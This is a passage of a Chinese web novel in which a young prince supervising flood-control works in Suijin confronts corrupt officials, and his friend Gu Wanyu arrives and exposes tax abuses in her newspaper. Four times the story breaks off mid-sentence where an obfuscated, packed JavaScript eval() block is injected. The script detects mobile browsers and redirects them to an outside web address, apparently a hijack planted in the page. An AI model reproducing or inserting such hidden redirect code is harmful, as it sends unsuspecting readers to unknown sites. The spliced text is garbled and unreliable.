绥金是麓北平原上的第一大城市,看来崔煜川已经去督工水利建设了。遇到了什么事,竟会需要喊她去帮忙呢? 阮竹君见顾婉妤面露不解,便问何事。 顾婉妤把信纸给她看,开玩笑道:“唉,看来要走一趟绥金了,真是业务繁忙啊。” “你要去吗?”阮竹君见顾婉妤满身疲惫,不赞成地摇了摇头,“你近来又是赶路,又是参加大比,消耗如此大,别勉强自己。” “没关系。”顾婉妤挽起袖子,干劲满满,“你们都是我的好朋友,遇到困难我肯定要冲在前面帮忙!” 阮竹君冲她温柔笑笑,脸上却浮现一些难言之色。 顾婉妤看她这样,连忙问出心中疑惑:“阮竹姐,你和流火君之间发生了什么,为何刚才气氛不对?” “这……”阮竹君脸颊微红,“还是因为那件闫鹘要把我嫁出去的事情……” 阮竹君心思剔透,流火对她一直以来的心意,她并不是看不出来,只是她自己脑中向来缺少这根情情爱爱的弦。结果闫鹘一朝下了命令,流火君就开始跟着发疯了。 他从谷中一个人狼狈地出来的时候阮竹还以为其他人出了事情,连忙焦急地跑上去询问,结果流火君看到她就死死抱住了她,嘴里还嚷着什么“我一定会赢”、“一定不让别人娶你”……之类的话。 真是……让人不知道该做何反应。 阮竹君这才有了实感,如果事情可以如他们所愿,流火成功成为武林盟主,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856989|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么她和流火就要……结为夫妻了? 阮竹不知道自己该高兴还是悲哀。她一直当流火是好朋友,甚至好弟弟,没有考虑过两人还能有此种展开。 不过闫鹘这一招,的确让本来毫无兴趣和斗志的流火拼上了性命在争抢大比的胜利。令她啼笑兼非。 “也没什么,不说了。”阮竹君摇摇头,不欲多言,“你要去绥金的话,什么时候去呢?” “尽快吧。”顾婉妤托腮想,“接下来大比的环节都是单挑擂台了,我留在这里也帮不上忙,不如早点过去看看,把崔煜川逼得来求助的,究竟是什么事情。” “都说强龙压不过地头蛇,崔煜川总不会在绥金城受欺负了吧?” 顾婉妤不知道,她一句玩笑似的猜测,竟真能准确概括崔煜川这段时间的遭遇。 自从那日,崔煜川主动进宫面圣,接下督察麓北水利建设的任务后,事情就朝着逐渐复杂的走向发展。 首先是主导水利建设的官员,居然是大太监李行。 李行年纪不小,是两朝后宫总管,此人在前朝所做的一切,完全会让他成为那种在史书上被人痛骂千年的霍乱朝政的阉党。 他在宫中深耕多年势力雄厚,与皇家交际密切受到信任重用,背后又有庞大的特务机构“秘应司”为支撑,大臣们都不敢招惹他。 直到新帝上台,以雷霆手段狠狠压制了阉党一番,他才偃旗息鼓,老实做人。 但即便是这样,李行手中仍有许多实权,难以一时尽数夺去,秘应司向皇帝检举大臣,皇帝也还会听取,因此现在宫中同样少有人敢招惹他。 从上京出发那天,崔煜川骑在马上,见红轿子里探出李行那张沧桑又谄媚的老脸,整个人都呆滞了。 怪不得皇帝把督工一事交给他,除了他这个本就不在朝中为官,又身份高贵流有皇族血统的王爷,还有哪个大臣做李行的督工能做出实效的? 但就算是他,也不想跟李行这种面上和蔼,心里憋着使坏的人朝夕相处啊! 更何况他本人在皇帝那里也是信任不足的状态,要是哪天让李行参了一本,他还有法子正常回上京吗? 真是个难搞的差事! 兵来将挡水来土掩,崔煜川就这样跟着队伍从上京出发,一路到了麓北的绥金城。刚一进城,就受到当地的百姓的夹道欢迎,还有知府亲自将他们接入最豪华的酒楼宴请招待、接风洗尘。 崔煜川吃着堪比宫廷夜宴的酒席,心里想,就这个待遇,还以为皇帝亲自来了呢。 看看人人都怕秘应司和秘应司的老大,并不是一句虚言。 他心中隐隐有预感,离了上京,李行要不老实了。 果然,拿着设计图纸,福源堰的工程一开始,就有各种地方官员前来送礼慰问。 崔煜川一个接一个地拒绝,软硬兼施地把礼都退回去,却见李行都收下来了。 这也就罢了,只要水利能修好,无伤大雅之事他能睁一只眼闭一只眼。 但是随之而来的,又是更大的问题。 28. 雨打芭蕉(15) 最大的问题,是人手不足。 修建福源堰的关键目的在于泄洪和分水,而目前汨江河道沿段多有泥沙淤积、纵深不足的情况,因此需要大量人力进行挖掘排沙。 另外,福源堰要筑堰置闸,根据旱季雨季启闭闸门,从而使旱季时麓北平原也有水可以灌溉良田,这也是一个重劳力的项目。 要发动当地百姓有钱出钱、有力出力,不是一个简单的事情,得需要当地官员的配合。 杨席杨知府听说朝廷需要在当地征召百姓,立刻表示绝对配合,只是朝廷拨下来的预算银两,必须得拿出一部分补贴参与的劳工。 没什么经验的崔煜川点头称是,这是当然的,不能让当地积极参与的百姓白出力。但他没有想到的是,杨知府不仅管他们要了银子,还以慈善募捐、造福故乡的名义管当地的商人、富户也要了银子。 崔煜川眼见着从民间收集来的银子越来越多,府衙案头的账册越堆越厚,不禁暗暗在心中算这笔账,越算越心惊,这么多钱,知府真能全发给百姓吗? 他坐不住了,跑去找李行,李行却说知府他们最了解当地情况,必然心里有数,叫王爷不必操心。 崔煜川自己品了一下,才恍然大悟,感觉又多懂了点官场的黑暗。原来知府他们这些当地官员给上京派来的中央官员所送的好处,最后都会以这样的形式重新流回到他们自己手中,还能赚得更多,真是好买卖。 崔煜川虽然什么好处也没收,但他也无法对杨知府等人下手动真格,毕竟缺人是一个现实问题,没有杨知府等人在当地号召,去哪找人手来挖河道修堰闸? 为着这事,崔煜川已经一连好多天吃不好饭了,反倒是李行在这富饶又远离上京的地方缺乏管束,天天吃喝玩乐,几乎到了乐不思蜀的程度。 另一个问题,便是资源的调度。 要修堰坝隔水,需要大量的土石方,做闸门也需要大量铁材,这些资源的开采和运输都是麻烦。 麓北平原少丘陵与山脉,要挖山石,需得往北边的镜麓走。 而麓北的铁矿石资源更是稀缺,听当地人介绍,镜麓附近有铁矿,但开采出来的矿石纯度一般,掺了不少杂质,不好作为打制闸门的首选。 本来就吃不下饭的崔煜川几乎连觉都要睡不着了。 天知道,他一个门外汉只是来督查施工的,还以为从上京来的专业队伍能够把这些障碍都解决了。没想到最后问题全被丢到他这里,等着施工的老师傅们一天天眼巴巴地全指望他来处理。 正在一团乱麻之时,又有人跑来添乱。 一日,崔煜川接到了绥金城都作院的都作使杜林峮的邀请,称其在城中为王爷设了宴,请王爷一定要赏脸参加。 崔煜川觉得奇怪,一个小小的都作使,说难听点都不算什么官员,手下管的是一群官府工匠,怎么会想来宴请自己呢? 但都作院管的是大景的兵器制作,要说它的重要程度,倒也不容小觑。于是崔煜川从江岸工地回来后,随便换了身衣服,就去赴了宴,想着好歹看看他们葫芦里究竟卖的是什么药。 结果一到了赴宴之地,推开门,见到一屋子莺歌燕舞,被脂粉气扑了满脸,崔煜川就想马上逃跑了。 他年纪本就不大,个人性格更是向来洁身自好从不接触这些。唯一走进风月之地的时候,就是去揽月楼见安插在敌国的间谍。 那杜都作使一见他来了,立马扫榻欢迎,姿态放得极低,崔煜川本打算直接走了,却被一句话留住了脚步。 “恭候王爷大驾光临,有失远迎,实在不好意思,但下官今次置席,是听说了王爷正在为寻找铁矿烦恼,下官实在是想为王爷分忧,才唐突邀请,还请见谅。” 崔煜川满心狐疑,他一个做兵器的工匠头子怎么知道我在找铁矿的? 但既然如此……便坐下来听听看吧。 漂亮的歌女舞女们迎上来,被满脸冰霜的崔煜川一扬手止住,他说:“有事说事,这些招待就不必了。” 这杜都作使的面相看起来就是一个老实巴交的中年男子,怎么还搞了这些花样,真是不妥。 杜都作使呵呵一笑,扬手挥退旁人,只留了参席的几名小小官员,他们的品级都不高,按道理讲哪能随随便便接触到崔煜川这种级别的皇亲国戚,此时一个个都兴奋中带着些紧张。 “王爷,我先安排传菜吧?”杜都作使低眉顺眼地征求意见。 “不必了。”在这种场合,崔煜川哪来的胃口?他直抒胸臆地开口:“我想知道,杜都作使此番难道是能帮我解决铁矿不足的难题?” 要是搁到以往,财大气粗的小王爷说不定还会来一句“钱不是问题,只要能买来品质优良的矿石”,现在经过了一番现实的敲打,他也不敢再说这种话了,真怕别人狮子大开口。 “这个……只是下官们的一些提议,或许能为王爷分忧……”杜都作使赔笑,“若不是下官们心系福源堰的建设,也不会如此急切……” “我知道,福源堰的建设,当然是最有利于当地的水土百姓,你们作为地方官员,关心也是职责所在。”崔煜川淡淡地评价,又问,“所以你们有什么办法?” 杜都作使和旁人对视一眼,像是下定了某种决心,才对崔煜川说:“王爷,我们都作院每季都能收到朝廷划拨的官矿矿石,因为其中有一些以备损耗之缺的多余数量,所以都作院每季的兵器、装甲制作完成后,都还能剩下一些未使用到的部分。官矿不得对外销售,我们就都把这些多余的数量积存在库房中,日积月累,也是一笔不小的数目,可以拿出来供王爷用于修建水利。” 乍一听到此处,崔煜川心动了一下,却马上冷静下来。就算修建福源堰同样是皇帝亲指的关系国计民生的大事,但使用都作院内存放的用以制作军器的矿石,也太不合规矩。 而且这些矿石是朝廷用军费采购的,和修建福源堰所使用的资金也不匹配,他要是随意地使用了,不就等于挪用军费吗?皇上要是知道了,不得把他投进大牢,严刑拷打他有无反叛之心吗? 崔煜川莫名打了个冷颤,再看面前这张带着乡土气息、老实巴交的脸庞,就觉得有点惊悚,感觉对方是特意来害自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865032|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “咳……”崔煜川清清嗓子,他相信这些地方的官员只是不懂其中利害关系,并无恶意,所以也没有翻脸,只是说,“此事不妥,军事是军事,民生是民生,两边不能混杂,这是制度定下的规矩,所以不能用你们都作院内的库存。” “那……如果王爷向皇上请示一下,或许皇上会认为可行呢?”杜都作使还有些不死心,又问,“本来每年的军费就比较紧张,这样卖掉多余的资源从而扩充军费,也是一桩好事啊。” 要是当今皇上是个好说话的,他还能去问问,但……崔煜川心中腹诽,又有些意动。 毕竟,这简直是天降的铁矿资源,正好能解他燃眉之急。 所以崔煜川也没有把话说死,只是说,他要回去再考虑一下。 “当然!这是当然,王爷做事谨慎周到,实在是我等下官学习的榜样!”杜都作使满脸堆笑,“不说这些了,上菜,看王爷为了麓北百姓日夜操劳,真是下官们招待不周的过错!” “不了,事情讲完就好,我不吃了。”崔煜川站起来,不容分说地往外走,“吃过了,诸位慢用。” 几名官员马上站起来,弯着腰恭敬地送他出门,又被崔煜川拦下。 “那王爷慢走——” 崔煜川一路脚步不带停歇,走到了大街上,才感觉失去的食欲重新回归,肚子开始饿得咕咕叫。 他摸摸自己的胃,想起自己一早就去了河边查看今日疏通泥沙的成果,心中又操心着各种事情,还没吃过饭,怎么显得如此可怜。 崔煜川缓步走向街边小摊,点了一碗清水面。热腾腾的面上来,虽清淡、简单,吃着却让人感觉格外舒坦。 也让他想起上京春日里的那个汤饼摊,以及摊子上温暖亲切的一张张面孔。 “唉。”他不自觉地叹了一口气。 说到底,来到绥金后,时常感觉疲惫和茫然,都是因为身边没有任何一个可以信任,并能互相支撑的伙伴。 当他独自面对种种复杂的问题,难免左支右绌,难以为继。 崔煜川想起来,顾婉妤如今应当在镜麓山上观看大比。 他的心蠢蠢欲动起来,突然有个声音在脑海中响起,要不要问问她,能否来帮自己的忙呢? 算了……不好。她一个姑娘家,怎么能像自己一样风吹日晒地去管这些劳工? 其他官场中的弯弯绕绕,更是复杂到令人作呕,与她的天真纯洁毫不匹配,不该让她牵扯进来徒增烦恼。 崔煜川吃完了面,郁郁寡欢地散步回住处。 走到院子里,他养的信鸽正在笼子里蹦跶,红红的小嘴敲着笼子,似乎想跑出来玩。 崔煜川用手指逗它,被轻轻地啄了一口。 “你想出来吗?”他看着小鸽子在狭小的笼子里乱跳,才发现原来这笼子中的空间这么小,完全阻挡了小鸽子的自由。 该放它出来活动活动,才是啊…… “是我的不对了。”崔煜川打开笼门,信鸽跳到他肩上,歪头看着他。 “那你……帮我送一封信吧……” 29. 雨打芭蕉(16) 从镜麓山到绥金城,若是走专门的小道,快马加鞭统共只需要一天一夜的时间。 顾婉妤拒绝了阮竹君和疯子前辈他们非要陪同的意愿,选择自己一个人出发。 毕竟,镜麓庄这边的危机还没有结束,流火君还要想方设法地赢得之后所有的大比擂台。 她不懂武功,留在那里助阵也起不到太大作用,于是她拜托了疯子前辈,让他一定在后面帮帮流火君,给他出谋划策。 至于阮竹姐,更是不可能在这时离开镜麓庄,顾婉妤笑阮竹姐关心则乱,又劝慰说还是安心留在此处,等一切结束再聚首。 就这样,顾婉妤在一连串亲切又担忧的嘱咐声中骑马离开了镜麓山。 这还是她第一次一个人在陌生的地方赶路,警惕之余,又十分欣喜畅快,感觉自己好像真的成长为能独当一面的大人了。 白日里加紧赶路,渴了就饮山泉水,饿了就吃阮竹姐给她带的饭。夜里宿在人迹罕至的驿站所提供的简陋旅舍中,透过破旧不堪的窗台数星星。 一个人的历险,多少也有些浪漫。 等见到了绥金城,才恍惚已回到了人声鼎沸、熟悉的人间。 顾婉妤排队入城,看城门张榜处热热闹闹的,便凑过去看,原来正是当地在为了福源堰的修建招工。 “招河工,一天四百文。” 四百文的工钱挺不错,比得上一个地方官一天的俸禄了,也算不辜负百姓辛辛苦苦付出的劳动。顾婉妤暗自点头,却听得旁边有人忿忿不平地说:“收了那么多赋税,一天才给四百文。” 她好奇地偏头看,就见几个农民打扮的壮年男子正围在榜前,商议是否要去报名修建水利。 其中一人说:“为了修这个福源堰征了那么多银子,我看最后大半都进了官老爷的腰包!” 有排队进城的过路人听到了,也应和道:“不然那些贪官怎么会那么高兴呢,连十几年不出京城的王爷都跑过来分一杯羹了,其中肯定是大有油水啊!” “哎,那王爷都多有钱了,还贪我们口袋里的银子!” 王爷?他们说的不会是崔煜川吧? 顾婉妤有点生气,她知道崔煜川不是这种人,而且说不定正为了修建水利的事情殚精竭虑、煞费苦心,怎么能说他贪百姓的银子呢! “他们上京的队伍一到,咱们这地方的官员无论大小,都争着摆宴席请客,把人哄得不知道多快活,自然都成了一伙的。”有农民大叹一声,“可怜了咱们出钱又出力,天天在水里泡着说不定还要落下一身病根!” “那王爷不知道长什么样,听说是个阴柔的小白脸。”过路人啐了一口,“就是这种人最可恨,怪不得和那大阉党李行是一丘之貉。” “李行是后天阉的,那这小白脸王爷不就是天阉……” “喂!”耳听着他们越说越过分,顾婉妤怒意上头,叉着腰打断他们的对话,“你们嫌官府收的赋税多,就向你们的官府抗议,冤有头债有主,编排别人做什么!” “呦,看看,我就说有些小姑娘着了小白脸的道,天天追在屁股后面跑。”有人见顾婉妤一张嫩生生的俏脸气得发红,不仅不怕,反倒嘲笑起来,“真是丢人!” “什么?”顾婉妤咬牙切齿,“你有种再说一遍!” 还有,崔煜川在这里,居然被很多小姑娘追着跑吗?! 她更生气了! 两方争吵起来,一方蛮不讲理,另一方伶牙俐齿,谁都没讨到好,张榜处的喧哗声惊动了守城的将士,有士兵喊着“不许高声喧哗扰乱秩序”,向这边走来。 见管事的来了,围观的好事者呈鸟兽状散,只剩下几个中心人物,顾婉妤还想让那些人道歉,就不依不饶地揪着人不放手。 该说不说,这些当地农民实际本性不坏,甚至可以说淳朴老实,吵成这样,他们也没对顾婉妤这个看着柔弱可欺的小姑娘动一下手,只是吵得脸红脖子粗。 这时,顾婉妤不经意地往城门处一瞥,却眼尖地见到一个熟悉的身影,正疑惑不解地往她这张望。 崔……崔煜川! “哼,今天放你们一马!”顾婉妤立马松开手,主动往崔煜川那边跑。 她不想把事情闹大,万一这些人当着崔煜川的面骂他呢!他哪受得了! 崔煜川也看到顾婉妤往自己这边跑过来了,他挥挥手,露出笑脸。 顾婉妤眼前一亮。 平日在上京,崔煜川不分白天黑夜总是穿着一身低调的黑色,虽然衬他,但总归显得有些沉闷。 而现在,他居然穿了一身朱红色的衣裳,许是当了水利督查的官职所穿的官服。这官服穿在他身上,又修长又板正,还有个黑色的束腰,衬得腰肢格外细,整个人如杨柳一般挺拔,正是潇洒俊逸的少年郎模样。 哎呀,真好看。顾婉妤下意识擦了下唇角,又气呼呼地想到,怪不得招小姑娘喜欢! 顾婉妤一路跑到崔煜川身前,才缓下脚步,平复了激动的心跳慢慢朝他走过去。 倒是崔煜川等不及了,笑着主动迎上来。 在触碰到彼此之前,两人却面对面站定了,或许因为又是一段时间没有见面,褪去了重逢的激动后,两人显得有些手足无措。 “嘿嘿,你好像瘦了,”顾婉妤手指扣着自己的裙摆,有些不好意思对视,“最近没吃好饭吗?” “不会。”崔煜川却目不转睛地盯着她看,“辛苦了吧,让你一路奔波过来,我真是的……” 顾婉妤连忙抬起脸:“你说有麻烦,我当然要来帮忙了!我们是什么关系……不要……客气……” 不知道今天怎么了,看到崔煜川格外害羞,难道真是太久没见的缘故? 顾婉妤的视线飘忽不定,歪到一边,还小声嘟囔:“我们是好朋友……不用客气的……” “嗯,”崔煜川含笑点头,“走,别傻站着了,我带你去住处好好休息。” 顾婉妤便点了头,牵着马乖乖跟人走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870651|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,走之前,她又想起来与她争吵的那几个人,回头一看,却发现那几人已经不见,应该是趁机脱身了。 哼,他们还没道歉呢。 一路上,顾婉妤感觉有不少人在注意崔煜川,但这些注视并不一定都是善意的,只有年轻姑娘们的目光透出来的是纯粹的欣赏。 顾婉妤发觉这一点后,便觉得心里闷闷的,她想问崔煜川知道自己被当地人误解了吗?却又觉得这是个不该问出口的问题。 于是顾婉妤只是打起精神玩笑道:“有很多姑娘在看你哦。” “啊?”崔煜川茫然地转过头,又顺着顾婉妤的目光看向自己身上的衣裳,说,“我今天直接从河边工地过来,就没把官服换下来。” 顾婉妤笑笑,笨蛋,怎么会是因为衣服才看你的。 两人走到了落脚的住处,是个面积不大的干净小院子,院中养了花草,还有啾鸣的小鸟,有点像顾婉妤在上京自己的家。 “这个院子是衙门里的赵判官帮我找的,他人还不错。”崔煜川介绍道,“你就睡那个房间,没有人住过的,可以吗?” 顾婉妤一看,崔煜川给她指的房间朝向又好,面积又大,一看就是正屋,原来崔煜川在这住了这么久,都是睡的侧房? 那正屋不会是特意留给她的吧? 顾婉妤忍不住笑,心里美滋滋的,她点点头:“谢谢。” 安置了行囊,顾婉妤从房间出来,看见崔煜川正给她的马儿喂水。 她在院子中的石凳上坐下,托着腮歪头看,待马儿喝饱了水,毛发也被梳得闪闪发亮,才开口问:“你说让我来帮忙,具体是需要做什么呢?” “这个……”崔煜川蹙眉想了一会,才老实交代,“其实叫你来时,我也没考虑清楚。要做的事情大多都比较辛苦,不适合你做,你就先在这边玩几天吧。” “什么叫不适合我做。”顾婉妤挺起身子,拍拍胸膛,故意骄傲道,“这世上还有我做不了的事情?” “就是怕你累着。”崔煜川笑着摇摇头,“那你明天陪我一起去河场工地看看吧,但是要起很早。” “没问题。”顾婉妤拍板决定。 “武林大比好看吗?”崔煜川突然问道。 “……简直是槽糕透顶。”顾婉妤露出难言的表情,简单给崔煜川讲了一下镜麓庄的恩怨,以及流火君和阮竹君之间的神奇发展。 随着讲述,崔煜川也露出理解不能的神色,最后,他得出与顾婉妤一致的结论:可能这就是江湖儿女的爱恨情仇吧,不是很懂。 顾婉妤绘声绘色、神采飞扬地讲了一番,才感觉到身体的疲惫。崔煜川看出她的倦色,劝她回去休息。 两人便在院中道别,各自休整了。 第二天清早,天刚蒙蒙亮,远处人家养的鸡一声啼鸣,顾婉妤便一骨碌从床上爬起来,感觉神清气爽,精神百倍。 她在院子里把睡眼惺忪的崔煜川喊起来,两人便一同前往汨江岸边的工地。 30. 西风送凉(1) 汨江河段漫长,支流众多,横贯麓北平原,是此地的“母亲河”。 要给汨江的主干和几大支干河流清淤、拓展河道宽度,自然是在春秋这种雨水少的季节为好。而现在正是麓北一年中雨水最多的时节,水位高,水流也变得湍急起来,自然是不适宜当即开工的。 但朝廷的工期催得急,而且也怕今年再出现洪涝的情况,崔煜川只能带领从京城来的水利专家们,排除万难抓紧干。 他一天中有一半的时间要泡在河场工地里,随时与师傅们探讨下一步的施工方案,还总要日观气象,担忧哪天会不会突然下起大暴雨。 河场中的师傅们与百姓劳工都对他评价很好,与外界对他充满偏见的印象大相径庭。 这日,小煜王带了个姑娘过来河场,这一下可是惹来相熟的老师傅们的调侃了。 在此地劳作的,大都是家中的青壮年劳动力,因此家中的老婆常来送个饭、看望一下,每个人都习以为常。那小煜王带来的姑娘,也是他的相好吗?是心疼小王爷整日辛苦,特意来看望的吗? 崔煜川带着顾婉妤沿河道走,一路上便不断有人和他打招呼,还要加一句“呦,这是把小媳妇也带来了”。 崔煜川咳嗽几句,故作严肃地赶他们去干活,不许在这里闲唠嗑。 顾婉妤本来挺害羞的,但是看崔煜川耳朵红红、说不出话的样子,反倒玩心大起,故意问道:“我很像你的小媳妇吗?” 崔煜川疑惑地瞥她一眼,闷不做声地摇了摇头。 “那为什么他们都这么说?你还不反驳。” “我哪有不反驳?”崔煜川急了,他大步往前走,留下个落荒而逃的背影。 顾婉妤暗爽,笑着追上去:“好吧好吧,都是他们乱讲。” 两个人走走停停,便来到了棠湖边,只见一片波光粼粼,水面平静而宽远。 崔煜川便介绍道:“棠湖深而宽广,是个天然的蓄水池,我们打算在湖口两端筑起拦水大坝和闸门,这样就能根据旱季雨季启闭闸门,达到蓄水的效果。另外再拓宽棠湖与汨江主干相连的输水渠,输水渠上设置三等高度的分水坝,旱季时阻断汨江来水,使水可以沿汨江灌溉下游农田,而雨季时水没过堤坝自然导向棠湖,方便向北泄洪。” “了不起,是个大工程啊。”顾婉妤感叹,“大坝怎么修?是要用石块垒吗?” “嗯,需要用到很多石头,再用铁扣将它们锁起来。”崔煜川皱眉,“去哪里找这么多的石头和优质铁矿石还是个问题,远的地方不好运来,近处又稀缺。” “怎么什么事都要你来考虑。”顾婉妤仗义执言,“他们安排水利建设的人,总该有所计划吧?” “倒是有人给我出谋划策,只是不太靠谱……”崔煜川泄气地说,“比如,有人提议把这附近的丘陵都挖了,还有人提议挪用都作院制兵器的铁矿……简直都是杀鸡取卵、饮鸩止渴。” “把丘陵挖了会在暴雨时造成灾害吧。”顾婉妤无奈,“这是谁提的馊主意。” “至于都作院制兵器的铁矿……” 顾婉妤皱眉,她觉得这个事情听上去很耳熟。 制作兵器? 她自然而然地想到了云锦当时跟她讲过的那件事,说大景的兵器制造存在官员贪腐导致的品质问题。 “都作院的铁矿为什么能拿到别处用?”顾婉妤不解。 “他们说都是每季按份例多余出来的,攒在库房里一直陈积,便是一笔不小的数目。” 顾婉妤听了,心中越发觉得可疑。 那官矿产出的资源那么珍贵,绥金城又不是制作兵器的主要地点,怎么会多送来很多铁矿呢? 再说了,都作院的职责所在就是制造兵甲武器,多出来的矿石就接着打成兵器送往军队不好吗?为什么非要存起来? 越想越怪异,但顾婉妤咽下了这些狐疑,她想,崔煜川已经够累了,还是先不要把这些事情一股脑讲给他。 她可以自己先探一探,再做打算。 崔煜川叹了口气,突然问:“你说,若是向镜麓庄讨个方便,派人手去镜麓山脉开采山石,是否可行呢?” 顾婉妤想了一下,笑道:“若镜麓庄庄主是闫鹘或者其他人,那我没有把握,但若是流火君当上庄主,他肯定能答应。” 崔煜川也忍俊不禁:“那我要和你一起祈愿流火君能赢得大比。” “不过……镜麓山离这里这么远,要怎么把石头运过来?”顾婉妤疑问道,又歪头望向棠湖湖面,“走水路吗?” “对,我想的是扩宽棠湖以北的河流,这样以后两地的水路交通也便利了,可以坐船通行。”崔煜川也跟着望向远方,眼中是意气风发。 “好主意,我支持你。”顾婉妤赞赏道,“若你需要,我可以从中帮忙协调。” 两人商议过后,便往回走。路遇一处挖掘的场所,顾婉妤突然眼尖地看到几张熟悉的面孔,不正是那天在城门口与她争吵的几个当地人吗? 嘴巴那么硬气,不还是过来打工了! 那几个人也看见了顾婉妤和她身边的煜王,连忙背过身去,装作没看到。 干嘛,我又不会小气地找你们麻烦。顾婉妤磨牙不爽。 崔煜川见顾婉妤表情有异,连忙问:“怎么,是不是累了?” “不是,”顾婉妤试探着说,“你知道城中有一些流言,对官府征收的赋税很不满吗?” “嗯,”崔煜川点点头,苦笑,“赋税过重,给百姓增添了很多负担,可惜我也无权阻拦。” “难道真是被一些官员贪走了吗?”顾婉妤小声嘀咕。 崔煜川轻轻点了点头,两人便心领神会了。 “真可恶,要是有个机会能让这些贪官把银子都吐出来还给百姓就好了!” “我也是这样想的。”崔煜川敛眉道。 就这样,顾婉妤跟着崔煜川在这绥金城中安顿下来。她有时白天陪着到工地去,参与水利建设的讨论,即使有许多不懂的,也都认真做下记录慢慢学习。其他时候,她又重操了自己的本业,在城中找了一家印刷坊帮忙印制小报,带着她的“顾氏新闻”强势进入绥金城。 这段日子她见识到了许多从未见过的事情,灵感爆发,文章便写得格外顺手,一个人便能成一整张报的内容。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874255|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先写了天下大比的所见所闻,从初入镜麓山的感受与风光,到六大门派与镜麓庄的暗涌波动、互不相让,再到闫鹘突然招亲的意外举动,最后是她亲历的大比第一关,其残酷血腥之程度,足以令人一窥江湖的真实面目。 虽然之前父亲说的做一期武林大比专题报道只是句玩笑话,但顾婉妤有太多可写的内容,一写起来就收不住闸,反而真将这个玩笑变成了现实。 她拿着准备好的内容,去印刷坊订制小报,还被人认了出来,原来她的顾氏小报在距离上京遥远的绥金城中,也有一定数量的读者存在。 真是令人欣喜的消息。 印坊伙计很看好她们,还说,这一期新的发出来,肯定会获得更多读者支持。 果然,这次专写镜麓武林大比的报纸一经面世便遭哄抢。武林之中的各种恩怨情仇本来就带有神秘和浪漫的色彩,经过顾婉妤的艺术加工,变成了一个残酷又美丽的世界,更加令人神往。 甚至还有许多百姓四处打听,他们普通人能不能去镜麓庄旁观一下,看看热闹。 还有那镜麓庄中的阮竹居士,是否当真如报纸中所描述的那样是一个才貌俱佳的绝世女子,到底谁能有幸夺得天下,又成为她的夫婿? 顾婉妤暗自发笑,又觉得不好意思,把阮竹姐也写进了故事中。 幸好她现在忙于武林大比,不可能知道这小报的内容,不至于又害羞又生气地教训自己。 武林大比还未结束,顾婉妤便暂且搁置了这个专题,而是转头又出了麓北水利修建的相关报道。 这正是当地百姓们心心念念的头等大事,这一次,顾婉妤的言辞和文笔都犀利起来,她不怕得罪当地官员,反正有崔煜川撑腰,她便大胆写出赋税过重、资金去向不明等一系列问题,直指痛点。 另外,她也要为崔煜川抱不平,看看谁还要误解这个一心为民、满腔赤诚的少年。 顾婉妤采访了工地里的一些百姓,用他们的口吻讲述了崔煜川是如何事事都亲力亲为、日夜操劳的。还有那几个曾经和她争吵过的农民,经过了一些日子的同甘共苦,他们亲眼目睹崔煜川身为尊贵的王爷,却与他们同吃干粮,不辞辛苦坚守在条件恶劣的河滩上,早就打心底对崔煜川心悦诚服了。 这些叙述,虽然用词简单直白,没什么文采,却能打动人心,令人感受到其中的真实。 这报纸一发出去,又是引发了一阵巨大的反响与讨论。 印刷坊的伙计们都对顾婉妤这个小姑娘佩服极了,在绥金城从业这么多年,就没见过谁每次一发文章,都能引发如此大的轰动。 她要是留在绥金,对当地的文坛而言简直是天降福星,能大大提升百姓们的关注度,顺便还能成为他们印坊的摇钱树。 可惜不知道顾婉妤什么时候就会离开。 每次被印坊的伙计们催稿,顾婉妤都面上装作为难,心中得意。 没什么好谦虚的,她就是非常擅长做这件事,而且还要一直坚持下去!用小报和舆论的力量匡扶正义,也帮助她的伙伴们。 忙碌的日子过了许久,顾婉妤听说,通往北部镜麓山的河道已经要开挖了。 31. 西风送凉(2) 顾婉妤站在棠湖边,向北远眺,河流的两岸,是正在热火朝天地挖着泥沙的劳动者们,而更远的天边,便是镜麓连绵起伏的群山。 她手里拿着一封信,是阮竹姐寄过来的,与她讲述这些天武林大比的进展。 